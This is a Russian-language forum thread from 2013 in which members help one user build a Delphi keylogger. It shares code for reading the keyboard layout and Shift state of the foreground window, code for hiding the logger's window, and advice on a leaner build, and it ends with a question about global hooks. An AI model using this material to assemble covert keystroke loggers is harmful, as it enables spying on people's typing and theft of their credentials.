Простой KeyLogger. Помогите советом.
| |
Serz92Li | Дата: Четверг, 08.08.2013, 12:09 | Сообщение # 1 |
Был не раз
Зарегистрирован: 08.04.2013
Группа: Пользователи
Сообщений: 20
Статус: Offline
| Всем привет. Вопрос заключается в написании KeyLogger'а. Будем конкретней и сразу к делу. Вопросы: 1. Как реализовать распознавание раскладки клавиатуры (имеется ввиду клавиша "S" это есть "Ы"), как сделать, чтобы в лог записывалась клавиша соответствующей раскладки. 2. Проблема с "Shift'ом". Это я реализовал, но к сожалению записывается в файл что-то типа: "Shift+,Q+,E+,R+;q,w,e,r,t,y". Как видите не порядок, хочется более человечное. 3. Помогите с поиском DLL, реализованных для этого. В Google не отправляйте, прежде чем задавать вопрос, искал подобное упорно, но подходящего не нашел, иначе бы не стал у Вас отнимать время на это. 4. Дайте направление поиска (Функции, компоненты, библиотеки и т.д.) 5. Заранее благодарен за помощь.
Сообщение отредактировал Serz92Li - Четверг, 08.08.2013, 12:11 |
|
| |
Slash | Дата: Четверг, 08.08.2013, 17:55 | Сообщение # 2 |
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
| Код if GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil)) = 67699721 then //раскладка английская else //раскладка НЕанглийская, например 68748313 соответствует русской P.S.В Взято с delphisources.ru
Проблему с шифтом я не понял, поподробнее.
Поиском каких dll? подгруженных в какой либо процесс? Поподробнее давай!
|
|
| |
Serz92Li | Дата: Понедельник, 12.08.2013, 11:50 | Сообщение # 3 |
Был не раз
Зарегистрирован: 08.04.2013
Группа: Пользователи
Сообщений: 20
Статус: Offline
| Цитата (Slash) P.S.В Взято с delphisources.ru
Проблему с шифтом я не понял, поподробнее.
Поиском каких dll? подгруженных в какой либо процесс? Поподробнее давай!
1. С Shift'ом имелось ввиду регистр символов: "А-а, Б-б ...". Проверка на нажатие именно этой клавиши. Код function ShiftDown : Boolean; var State : TKeyboardState; begin GetKeyboardState(State); Result := ((State[vk_Shift] and 128) <> 0); end; Возвращает true - нажата клавиша Shift, false - логично что не нажата и если первый случай то менял символ на "мелкий" аналог : Код function LoCase(ch: char): char; begin if (ch in ['A'..'Z', 'А'..'Я']) then result := chr(ord(ch) + 32) else result := ch; end; 2. Получение и установка текущей раскладки клавиатуры Ниже представлены 5 функций для получения/установки раскладки клавиатуры в своем или активном в текущий момент времени приложении: • function NameKeyboardLayout(layout : LongWord) : string; - Получает название раскладки из списка (для удобства сделал :))) • function GetActiveKbdLayout : LongWord; - Получает раскладку в своей программе • function GetActiveKbdLayoutWnd : LongWord; - Получает раскладку в активном окне • procedure SetKbdLayout(kbLayout : LongWord); - Устанавливает раскладку в своей программе • procedure SetLayoutActiveWnd(kbLayout : LongWord); - Устанавливает раскладку в активном окне Исходный текст { **** UBPFD *********** by delphibase.endimus.ru **** Зависимости: Windows, Messages Автор: savva, savva@nm.ru , ICQ:126578975, Орел Copyright: Сапронов Алексей (Savva) Дата: 27 июня 2002 г. **************************************************** } Код {типы описываем } const CNT_LAYOUT = 2; // количество известных раскладок ENGLISH = $409; RUSSIAN = $419;
TKbdValue : array [1..CNT_LAYOUT] of LongWord = ( ENGLISH, RUSSIAN ); TKbdDisplayNames : array [1..CNT_LAYOUT] of string = ('English', 'Русский' );
{----- собственно сами процедури и функции -----}
{получаем название раскладки} function NameKeyboardLayout(layout : LongWord) : string; var i: integer; begin Result:=''; try for i:=1 to CNT_LAYOUT do if TKbdValue[i]=layout then Result:= TKbdDisplayNames[i]; except Result:=''; end; end; //**************** end of NameKeyboardLayot *************************** {активная раскладка в своей программе} function GetActiveKbdLayout : LongWord; begin result:= GetKeyboardLayout(0) shr $10; end; //***************** end of GetActiveKbdLayot **************************** {активная раскладка в активном окне} function GetActiveKbdLayoutWnd : LongWord; var hWindow,idProcess : THandle; begin // получить handle активного окна чужой программы hWindow := GetForegroundWindow; // Получить идентификатор чужого процесса idProcess := GetWindowThreadProcessId(hWindow,nil); // Получить текущую раскладку в чужой программе Result:=(GetKeyboardLayout(idProcess) shr $10); end; //***************** end of GetActiveKbdLayotWnd ************************** {установить раскладку в своей программе} procedure SetKbdLayout(kbLayout : LongWord); var Layout: HKL; begin // Получить ссылку на раскладку Layout:=LoadKeyboardLayout(PChar(IntToStr(kbLayout)), 0); // Переключить раскладку на русскую ActivateKeyboardLayout(Layout,KLF_ACTIVATE); end; //****************** end of SetKbdLayot ********************************** {установить раскладку в активном окне} procedure SetLayoutActiveWnd(kbLayout : LongWord); var Layout: HKL; hWindow{, idProcess} : THandle; // ION T: не используется begin // получить handle активного окна чужой программы hWindow := GetForegroundWindow; // Получить ссылку на раскладку Layout:=LoadKeyboardLayout(PChar(IntToStr(kbLayout)), 0); // посылаем сообщение о смене раскладки sendMessage(hWindow,WM_INPUTLANGCHANGEREQUEST,1,Layout); end; //***************** end of SetLayoutActiveWnd ***************************** Пример использования ...Код {активная раскладка в активном окне} Label1.Caption:= NameKeyboardLayout(GetActiveKbdLayoutWnd); {активная раскладка в своей программе} Label2.Caption:= NameKeyboardLayout(GetActiveKbdLayout); {установить раскладку в своей программе} SetKbdLayout(ENGLISH); {установить раскладку в активном окне} SetLayoutActiveWnd(ENGLISH); ... 3. Видел часто DLL типа " Hook " и т.д., но они заточены под определенную задачу, вот и спросил, что у кого-то завалялась такая штуковина. Коды не мои разбирался и менял под себя, откуда брал источники не помню, автор не я к сожалению ). Автор последнего: Сапронов Алексей Может кому пригодиться.
Сообщение отредактировал Serz92Li - Понедельник, 12.08.2013, 23:39 |
|
| |
Don_Diego | Дата: Понедельник, 12.08.2013, 19:50 | Сообщение # 4 |
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 253
Статус: Offline
| Serz92Li, хорошая информация. Код можешь сделать в специальных тегах? code
|
|
| |
Serz92Li | Дата: Понедельник, 12.08.2013, 23:46 | Сообщение # 5 |
Был не раз
Зарегистрирован: 08.04.2013
Группа: Пользователи
Сообщений: 20
Статус: Offline
| Цитата (Don_Diego) Serz92Li, хорошая информация. Код можешь сделать в специальных тегах? code Ок. На будущее буду знать).Добавлено (12.08.2013, 23:46) --------------------------------------------- Отыскал еще интересную штучку. Для многих будет не новое, но кому может быть пригодится. Прячем наш "Loger": Код program Project1;
uses Forms, windows, //обязательно добавь модуль windows Unit1 in 'Unit1.pas' {Form1};
{$R *.res}
begin
Application.Initialize; Application.CreateForm(TForm1, Form1); Application.ShowMainForm:=false; // Запрещаем показ главной формы ShowWindow(application.Handle,SW_HIDE); // Прячем приложение Application.Run ЗАМЕЧАНИЕ: виден процесс в "Диспетчере задач".
|
|
| |
Don_Diego | Дата: Вторник, 13.08.2013, 21:43 | Сообщение # 6 |
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 253
Статус: Offline
| Serz92Li, последний код желательно никому не показывай Хотя, для кейлоггера сойдет и с формой, особенно как для первой программы такого рода. Но на будущее делай примерно так: После того как открыли Delphi, закрываем форму (жмем на крестик), идем в меню Project -> View Source, и там потом пишем свой код. Да, удаляем ресурсы (строку {$R *.res}), в Uses оставляем только Windows;. Да... Придется использовать Win API, либо же вырезать нужные функции и процедуры из других классов... Но это все приходит с опытом, так сказать - развивайся в безформенном направлении
|
|
| |
Serz92Li | Дата: Пятница, 16.08.2013, 11:25 | Сообщение # 7 |
Был не раз
Зарегистрирован: 08.04.2013
Группа: Пользователи
Сообщений: 20
Статус: Offline
| Проблема возникла в "глобальном хуке". Как сделать, что захватывал ВСЕ клавиши хоть бы на латинице)? Хук делал, но воспринимает "0"-"9", "A"-"z", а вот с символами косяк, как реализовать?
|
|
| |
|